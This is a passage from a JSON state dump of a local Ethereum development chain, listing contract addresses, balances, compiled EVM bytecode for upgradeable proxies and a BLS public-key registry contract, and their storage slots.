ffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea26469706673582212207021776faa52361d1355735bd50778b64190416beef25e28f1e583a8862e1f1a64736f6c634300080c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8"}},"0x851356ae760d987e095750cceb3bc6014560891c":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120001","0x0000000000000000000000000000000000000000000000000000000000000001":"0x0000000000000000000000000000000000000000000000000000000000000000","0x0000000000000000000000000000000000000000000000000000000000000064":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000096":"0x0000000000000000000000000000000000000000000000000000000000000001","0x000000000000000000000000000000000000000000000000000000000000009c":"0x0000000000000000000000000000000000000000000000000000000000000003","0x000000000000000000000000000000000000000000000000000000000000009d":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000000000000000000000000000000000000000009e":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd00","0x683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c7":"0x00000000000000000000000000000000000000000000000000322af8000000c8","0xaf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c":"0x00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","0xaf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539d":"0x000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e","0xaf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539e":"0x000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}},"0x8a791620dd6260079bf849dc5567adc3f2fdc318":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000097":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000098":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000c9":"0x000000000000000000000000000000000000000000000000000000000000000a","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x00000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0x8f86403a4de0bb5791fa46b8e795c547942fe4cf":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106101155760003560e01c80636d14a987116100a2578063bf79ce5811610071578063bf79ce58146103cc578063d5254a8c146103df578063de29fac0146103ff578063e8bb9ae61461041f578063f4e24fe51461044857600080fd5b80636d14a9871461030a5780637916cea6146103315780637ff81a8714610372578063a3db80e2146103a557600080fd5b80633fb27952116100e95780633fb27952146101df57806347b314e8146101f25780635f61a88414610233578063605747d51461028f57806368bccaac146102dd57600080fd5b8062a1f4cb1461011a57806313542a4e1461015b57806326d941f214610192578063377ed99d146101a7575b600080fd5b6101416101283660046118e3565b6003602052600090815260409020805460019091015482565b604080519283526020830191909152015b60405180910390f35b6101846101693660046118e3565b6001600160a01b031660009081526001602052604090205490565b604051908152602001610152565b6101a56101a0366004611916565b61045b565b005b6101ca6101b5366004611916565b60ff1660009081526004602052604090205490565b60405163ffffffff9091168152602001610152565b6101a56101ed3660046119a1565b6105b4565b61021b610200366004611a4c565b6000908152600260205260409020546001600160a01b031690565b6040516001600160a01b039091168152602001610152565b610282610241366004611916565b60408051808201909152600080825260208201525060ff16600090815260056020908152604091829020825180840190935280548352600101549082015290565b6040516101529190611a65565b6102a261029d366004611a7c565b610672565b60408051825167ffffffffffffffff1916815260208084015163ffffffff908116918301919091529282015190921690820152606001610152565b6102f06102eb366004611aa6565b610705565b60405167ffffffffffffffff199091168152602001610152565b61021b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b61034461033f366004611a7c565b6108a0565b6040805167ffffffffffffffff19909416845263ffffffff9283166020850152911690820152606001610152565b6103856103803660046118e3565b6108eb565b604080518351815260209384015193810193909352820152606001610152565b6101416103b3366004611916565b6005602052600090815260409020805460019091015482565b6101846103da366004611aee565b6109b8565b6103f26103ed366004611b4b565b610e0b565b6040516101529190611bc4565b61018461040d3660046118e3565b60016020526000908152604090205481565b61021b61042d366004611a4c565b6002602052600090815260409020546001600160a01b031681565b6101a56104563660046119a1565b61101a565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146104ac5760405162461bcd60e51b81526004016104a390611c0d565b60405180910390fd5b60ff81166000908152600460205260409020541561052b5760405162461bcd60e51b815260206004820152603660248201527f424c5341706b52656769737472792e696e697469616c697a6551756f72756d3a6044820152752071756f72756d20616c72656164792065786973747360501b60648201526084016104a3565b60ff166000908152600460209081526040808320815160608101835284815263ffffffff4381168286019081528285018781528454600181018655948852959096209151919092018054955194518316600160e01b026001600160e01b0395909316600160c01b026001600160e01b03199096169190931c179390931791909116919091179055565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146105fc5760405162461bcd60e51b81526004016104a390611c0d565b6000610607836108eb565b50905061061482826110c3565b7f73a2b7fb844724b971802ae9b15db094d4b7192df9d7350e14eb466b9b22eb4e83610655856001600160a01b031660009081526001602052604090205490565b8460405161066593929190611c81565b60405180910390a1505050565b604080516060810182526000808252602080830182905282840182905260ff8616825260049052919091208054839081106106af576106af611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b8204811694830194909452600160e01b90049092169082015290505b92915050565b60ff8316600090815260046020526040812080548291908490811061072c5761072c611ce5565b600091825260209182902060408051606081018252919092015467ffffffffffffffff1981841b16825263ffffffff600160c01b82048116948301859052600160e01b9091048116928201929092529250851610156107f35760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a20696e64657820746f6f20726563656e74000060648201526084016104a3565b604081015163ffffffff1615806108195750806040015163ffffffff168463ffffffff16105b6108975760405162461bcd60e51b815260206004820152604360248201527f424c5341706b52656769737472792e5f76616c696461746541706b486173684160448201527f74426c6f636b4e756d6265723a206e6f74206c61746573742061706b2075706460648201526261746560e81b608482015260a4016104a3565b51949350505050565b600460205281600052604060002081815481106108bc57600080fd5b600091825260209091200154604081901b925063ffffffff600160c01b820481169250600160e01b9091041683565b60408051808201909152600080825260208201526001600160a01b0382166000818152600360209081526040808320815180830183528154815260019182015481850152948452909152812054909190806109ae5760405162461bcd60e51b815260206004820152603e60248201527f424c5341706b52656769737472792e676574526567697374657265645075626b60448201527f65793a206f70657261746f72206973206e6f742072656769737465726564000060648201526084016104a3565b9094909350915050565b6000336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c1614610a025760405162461bcd60e51b81526004016104a390611c0d565b6000610a30610a1936869003860160408701611cfb565b805160009081526020918201519091526040902090565b90507fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb58103610ab7576040805162461bcd60e51b8152602060048201526024810191909152600080516020611ead83398151915260448201527f4b65793a2063616e6e6f74207265676973746572207a65726f207075626b657960648201526084016104a3565b6001600160a01b03851660009081526001602052604090205415610b415760405162461bcd60e51b81526020600482015260476024820152600080516020611ead83398151915260448201527f4b65793a206f70657261746f7220616c72656164792072656769737465726564606482015266207075626b657960c81b608482015260a4016104a3565b6000818152600260205260409020546001600160a01b031615610bc55760405162461bcd60e51b81526020600482015260426024820152600080516020611ead83398151915260448201527f4b65793a207075626c6963206b657920616c7265616479207265676973746572606482015261195960f21b608482015260a4016104a3565b604080516000917f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000191610c1e918835916020808b0135928b01359160608c01359160808d019160c08e01918d35918e8201359101611d2e565b6040516020818303038152906040528051906020012060001c610c419190611d70565b9050610cdb610c7a610c6583610c5f368a90038a0160408b01611cfb565b90611307565b610c7436899003890189611cfb565b90611398565b610c8261142d565b610cc4610cb585610c5f604080518082018252600080825260209182015281518083019092526001825260029082015290565b610c74368a90038a018a611cfb565b610cd6368a90038a0160808b01611dd7565b6114ed565b610d765760405162461bcd60e51b815260206004820152606c6024820152600080516020611ead83398151915260448201527f4b65793a2065697468657220746865204731207369676e61747572652069732060648201527f77726f6e672c206f7220473120616e642047322070726976617465206b65792060848201526b0c8de40dcdee840dac2e8c6d60a31b60a482015260c4016104a3565b6001600160a01b03861660008181526003602090815260408083208982018035825560608b013560019283015590835281842087905586845260029092529182902080546001600160a01b0319168417905590517fe3fb6613af2e8930cf85d47fcf6db10192224a64c6cbe8023e0eee1ba382804191610dfa9160808a0190611e18565b60405180910390a250949350505050565b606060008367ffffffffffffffff811115610e2857610e28611931565b604051908082528060200260200182016040528015610e51578160200160208202803683370190505b50905060005b84811015611011576000868683818110610e7357610e73611ce5565b919091013560f81c6000818152600460205260409020549092509050801580610ed6575060ff821660009081526004602052604081208054909190610eba57610eba611ce5565b600091825260209091200154600160c01b900463ffffffff1686105b15610f635760405162461bcd60e51b815260206004820152605160248201527f424c5341706b52656769737472792e67657441706b496e64696365734174426c60448201527f6f636b4e756d6265723a20626c6f636b4e756d626572206973206265666f7265606482015270207468652066697273742075706461746560781b608482015260a4016104a3565b805b80156110065760ff831660009081526004602052604090208790610f8a600184611e58565b81548110610f9a57610f9a611ce5565b600091825260209091200154600160c01b900463ffffffff1611610ff457610fc3600182611e58565b858581518110610fd557610fd5611ce5565b602002602001019063ffffffff16908163ffffffff1681525050611006565b80610ffe81611e6b565b915050610f65565b505050600101610e57565b50949350505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146110625760405162461bcd60e51b81526004016104a390611c0d565b600061106d836108eb565b5090506110828261107d83611751565b6110c3565b7ff843ecd53a563675e62107be1494fdde4a3d49aeedaf8d88c616d85346e3500e83610655856001600160a01b031660009081526001602052604090205490565b604080518082019091526000808252602082015260005b83518110156113015760008482815181106110f7576110f7611ce5565b0160209081015160f81c600081815260049092526040822054909250908190036111895760405162461bcd60e51b815260206004820152603d60248201527f424c5341706b52656769737472792e5f70726f6365737351756f72756d41706b60448201527f5570646174653a2071756f72756d20646f6573206e6f7420657869737400000060648201526084016104a3565b60ff821660009081526005602090815260409182902082518084019093528054835260010154908201526111bd9086611398565b60ff831660008181526005602090815260408083208551808255868401805160019384015590855251835281842094845260049092528220939750919290916112069085611e58565b8154811061121657611216611ce5565b6000918252602090912001805490915063ffffffff438116600160c01b90920416036112555780546001600160c01b031916604083901c1781556112f1565b805463ffffffff438116600160e01b8181026001600160e01b0394851617855560ff88166000908152600460209081526040808320815160608101835267ffffffffffffffff198b16815280840196875280830185815282546001810184559286529390942093519301805495519251871690940291909516600160c01b026001600160e01b0319949094169190941c17919091179092161790555b5050600190920191506110da9050565b50505050565b6040805180820190915260008082526020820152611323611810565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa9050808061135257fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b60448201526064016104a3565b505092915050565b60408051808201909152600080825260208201526113b461182e565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa905080806113ef57fe5b50806113905760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b60448201526064016104a3565b61143561184c565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b60408051808201825285815260208082018590528251808401909352858352820183905260009161151c611871565b60005b60028110156116d7576000611535826006611e82565b905084826002811061154957611549611ce5565b6020020151518361155b836000611e99565b600c811061156b5761156b611ce5565b602002015284826002811061158257611582611ce5565b602002015160200151838260016115999190611e99565b600c81106115a9576115a9611ce5565b60200201528382600281106115c0576115c0611ce5565b60200201515151836115d3836002611e99565b600c81106115e3576115e3611ce5565b60200201528382600281106115fa576115fa611ce5565b6020020151516001602002015183611613836003611e99565b600c811061162357611623611ce5565b602002015283826002811061163a5761163a611ce5565b60200201516020015160006002811061165557611655611ce5565b602002015183611666836004611e99565b600c811061167657611676611ce5565b602002015283826002811061168d5761168d611ce5565b6020020151602001516001600281106116a8576116a8611ce5565b6020020151836116b9836005611e99565b600c81106116c9576116c9611ce5565b60200201525060010161151f565b506116e0611890565b60006020826101808560086107d05a03fa905080806116fb57fe5b50806117415760405162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b60448201526064016104a3565b5051151598975050505050505050565b6040805180820190915260008082526020820152815115801561177657506020820151155b15611794575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020017f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd4784602001516117d99190611d70565b611803907f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47611e58565b905292915050565b919050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b604051806040016040528061185f6118ae565b815260200161186c6118ae565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160a01b038116811461180b57600080fd5b6000602082840312156118f557600080fd5b6118fe826118cc565b9392505050565b803560ff8116811461180b57600080fd5b60006020828403121561192857600080fd5b6118fe82611905565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561196a5761196a611931565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561199957611999611931565b604052919050565b600080604083850312156119b457600080fd5b6119bd836118cc565b9150602083013567ffffffffffffffff8111156119d957600080fd5b8301601f810185136119ea57600080fd5b803567ffffffffffffffff811115611a0457611a04611931565b611a17601f8201601f1916602001611970565b818152866020838501011115611a2c57600080fd5b816020840160208301376000602083830101528093505050509250929050565b600060208284031215611a5e57600080fd5b5035919050565b8151815260208083015190820152604081016106ff565b60008060408385031215611a8f57600080fd5b611a9883611905565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b611ac484611905565b9250602084013563ffffffff81168114611add57600080fd5b929592945050506040919091013590565b6000806000838503610160811215611b0557600080fd5b611b0e856118cc565b9350610100601f1982011215611b2357600080fd5b602085019250604061011f1982011215611b3c57600080fd5b50610120840190509250925092565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff811115611b7757600080fd5b8401601f81018613611b8857600080fd5b803567ffffffffffffffff811115611b9f57600080fd5b866020828401011115611bb157600080fd5b6020918201979096509401359392505050565b602080825282518282018190526000918401906040840190835b81811015611c0257835163ffffffff16835260209384019390920191600101611bde565b509095945050505050565b6020808252604e908201527f424c5341706b52656769737472792e6f6e6c795265676973747279436f6f726460408201527f696e61746f723a2063616c6c6572206973206e6f74207468652072656769737460608201526d393c9031b7b7b93234b730ba37b960911b608082015260a00190565b60018060a01b0384168152826020820152606060408201526000825180606084015260005b81811015611cc35760208186018101516080868401015201611ca6565b506000608082850101526080601f19601f830116840101915050949350505050565b634e487b7160e01b600052603260045260246000fd5b60006040828403128015611d0e57600080fd5b50611d17611947565b823581526020928301359281019290925250919050565b888152876020820152866040820152856060820152604085608083013760408460c0830137610100810192909252610120820152610140019695505050505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500690565b600082601f830112611da357600080fd5b611dab611947565b806040840185811115611dbd57600080fd5b845b81811015611c02578035845260209384019301611dbf565b60006080828403128015611dea57600080fd5b50611df3611947565b611dfd8484611d92565b8152611e0c8460408501611d92565b60208201529392505050565b823581526020808401359082015260c0810160408381840137604080840160808401379392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106ff576106ff611e42565b600081611e7a57611e7a611e42565b506000190190565b80820281158282048414176106ff576106ff611e42565b808201808211156106ff576106ff611e4256fe424c5341706b52656769737472792e7265676973746572424c535075626c6963a2646970667358221220df4f56df4f9fb3b920f09e884a490e66eaaef074188ad7d538b50b8a6ed8be1464736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x90f79bf6eb2c4f870365e785982e1f101e93b906":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x95401dc811bb5740090279ba06cfa8fcf6113778":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x0eb5be412f275a18f6e4d622aee4ff40b21467c926224771b782d4c095d1444b":"0x0000000000000000000000000000000000000000000000000000000000000007","0x17ef568e3e12ab5